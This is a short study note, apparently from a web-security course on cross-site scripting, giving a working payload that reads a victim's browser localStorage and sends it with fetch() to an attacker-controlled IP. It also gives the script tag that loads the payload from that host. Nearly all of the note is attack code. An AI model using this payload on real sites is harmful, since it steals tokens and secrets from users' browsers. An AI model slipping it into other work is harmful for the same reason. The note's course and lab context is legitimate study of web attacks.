Stealing local storage XSS

How use external payload see here: 2023042721181010 XSS external JS payload#web200 #XSS

Payload

ip = '192.168.49.55';
let data = JSON.stringify(localStorage);
let encodedData = encodeURIComponent(data);
fetch("http://" + ip + "/localStorage?data=" + encodedData);

Inject payload

<script src='http://192.168.49.55/xss.js'></script>

References

1. web200.Cross-Site Scripting Exploitation and Case Study.Stealing Local secrets